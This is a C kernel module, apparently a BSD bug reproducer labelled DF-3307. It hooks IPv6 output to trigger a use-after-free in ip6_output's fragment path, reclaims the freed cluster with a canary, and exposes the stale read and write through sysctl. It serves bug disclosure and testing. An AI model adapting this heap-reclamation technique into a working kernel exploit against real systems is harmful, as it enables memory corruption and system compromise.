/*
 * pfildemo.c -- DF-3307 reproducer module.
 *
 * Registers an AF_INET6 PFIL_OUT hook that exercises the *documented*
 * pfil_run_hooks() mbuf-replacement path (sys/net/pfil.c): on the one
 * big probe packet it deep-copies the chain, frees the old chain and
 * hands the copy back with rv == 0 -- exactly what a normalizing
 * firewall hook does.  ip6_output() keeps using its cached
 * exthdrs.ip6e_hbh/dest1/rthdr pointers afterwards, which now point
 * into the freed chain (fragment path, sys/netinet6/ip6_output.c).
 *
 * To make the use-after-free observable, the hook also:
 *   - reclaims the just-freed hop-by-hop cluster (same cpu, LIFO
 *     cluster cache) and plants a 0xAA canary in its first byte;
 *     a stale READ of that byte by ip6_output() then shows up as
 *     ip6f_nxt == 0xAA in the emitted fragments;
 *   - keeps the cluster stashed so that the stale WRITE
 *     (*nxt = IPPROTO_FRAGMENT, 44) can be read back live via
 *     sysctl pfildemo.stash_byte after the send.
 */
#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/module.h>
#include <sys/mbuf.h>
#include <sys/malloc.h>
#include <sys/sysctl.h>
#include <sys/systm.h>
#include <net/if.h>
#include <net/pfil.h>
#include <netinet/in.h>
#include <netinet/ip6.h>

extern struct pfil_head inet6_pfil_hook;

#define	CANARY		0xAA

static struct sysctl_ctx_list pfildemo_ctx;
static struct sysctl_oid *pfildemo_root;
static int pfildemo_hits;		/* packets seen by the hook      */
static int pfildemo_replaced;		/* chains replaced (deep copy)  */
static struct mbuf *pfildemo_stash;	/* reclaimed hbh cluster        */

static struct mbuf *
pfildemo_deepcopy(struct mbuf *m0)
{
	struct mbuf *top = NULL, **tp = &top, *n, *m;
	int first = 1;

	for (m = m0; m != NULL; m = m->m_next) {
		if (first) {
			n = m_gethdr(M_NOWAIT, m->m_type);
			if (n == NULL)
				goto fail;
			n->m_pkthdr = m->m_pkthdr;
			n->m_pkthdr.rcvif = NULL;
			n->m_flags = (n->m_flags & ~M_COPYFLAGS) |
			    (m->m_flags & M_COPYFLAGS);
		} else {
			n = m_getcl(M_NOWAIT, m->m_type, 0);
			if (n == NULL)
				goto fail;
		}
		n->m_len = m->m_len;
		bcopy(mtod(m, caddr_t), mtod(n, caddr_t), m->m_len);
		*tp = n;
		tp = &n->m_next;
		first = 0;
	}
	return (top);
fail:
	if (top != NULL)
		m_freem(top);
	return (NULL);
}

static int
pfildemo_hook(void *arg, struct mbuf **mp, struct ifnet *ifp, int dir)
{
	struct mbuf *m = *mp, *n, *tmp;
	struct mbuf *cands[192];
	int ncand = 0, i, found = 0;
	u_char *d;

	pfildemo_hits++;

	/* Transform exactly one packet: the >60000-byte probe. */
	if (pfildemo_replaced || (m->m_flags & M_PKTHDR) == 0 ||
	    m->m_pkthdr.len < 60000)
		return (0);
	pfildemo_replaced = 1;

	n = pfildemo_deepcopy(m);
	if (n == NULL)
		return (0);		/* leave chain untouched */
	m_freem(m);
	*mp = n;

	/*
	 * Reclaim the freed hbh cluster: 2048-byte cluster whose
	 * data[] begins with {IPPROTO_UDP(17), 255}.  Plant canary.
	 */
	for (i = 0; i < 192; i++) {
		tmp = m_getcl(M_NOWAIT, MT_DATA, 0);
		if (tmp == NULL)
			break;
		d = mtod(tmp, u_char *);
		if (!found && d[0] == 17 && d[1] == 255) {
			found = 1;
			d[0] = CANARY;	/* canary for the stale READ */
			pfildemo_stash = tmp;
			continue;	/* keep */
		}
		cands[ncand++] = tmp;
	}
	for (i = 0; i < ncand; i++)
		m_free(cands[i]);
	return (0);
}

static int
pfildemo_read_stash(SYSCTL_HANDLER_ARGS)
{
	int val = -1;

	if (pfildemo_stash != NULL)
		val = *(u_char *)pfildemo_stash->m_data;
	return (sysctl_handle_int(oidp, &val, 0, req));
}

static int
pfildemo_modevent(module_t mod, int type, void *data)
{
	int error = 0;

	switch (type) {
	case MOD_LOAD:
		sysctl_ctx_init(&pfildemo_ctx);
		pfildemo_root = SYSCTL_ADD_NODE(&pfildemo_ctx,
		    &sysctl__children, OID_AUTO, "pfildemo",
		    CTLFLAG_RW, 0, "DF-3307 demo hook");
		SYSCTL_ADD_INT(&pfildemo_ctx, SYSCTL_CHILDREN(pfildemo_root),
		    OID_AUTO, "hits", CTLFLAG_RD, &pfildemo_hits, 0, "");
		SYSCTL_ADD_INT(&pfildemo_ctx, SYSCTL_CHILDREN(pfildemo_root),
		    OID_AUTO, "replaced", CTLFLAG_RD, &pfildemo_replaced, 0, "");
		SYSCTL_ADD_PROC(&pfildemo_ctx, SYSCTL_CHILDREN(pfildemo_root),
		    OID_AUTO, "stash_byte", CTLTYPE_INT | CTLFLAG_RD, NULL, 0,
		    pfildemo_read_stash, "I",
		    "hbh cluster data[0]: 0xAA untouched, 44 = stale write");
		error = pfil_add_hook(pfildemo_hook, NULL, PFIL_OUT,
		    &inet6_pfil_hook);
		if (error)
			kprintf("pfildemo: pfil_add_hook: %d\n", error);
		break;
	case MOD_UNLOAD:
		pfil_remove_hook(pfildemo_hook, NULL, PFIL_OUT,
		    &inet6_pfil_hook);
		if (pfildemo_stash != NULL)
			m_free(pfildemo_stash);
		sysctl_ctx_free(&pfildemo_ctx);
		break;
	default:
		error = EOPNOTSUPP;
		break;
	}
	return (error);
}

DECLARE_MODULE(pfildemo, pfildemo_modevent, SI_SUB_PROTO_DOMAIN, SI_ORDER_ANY);
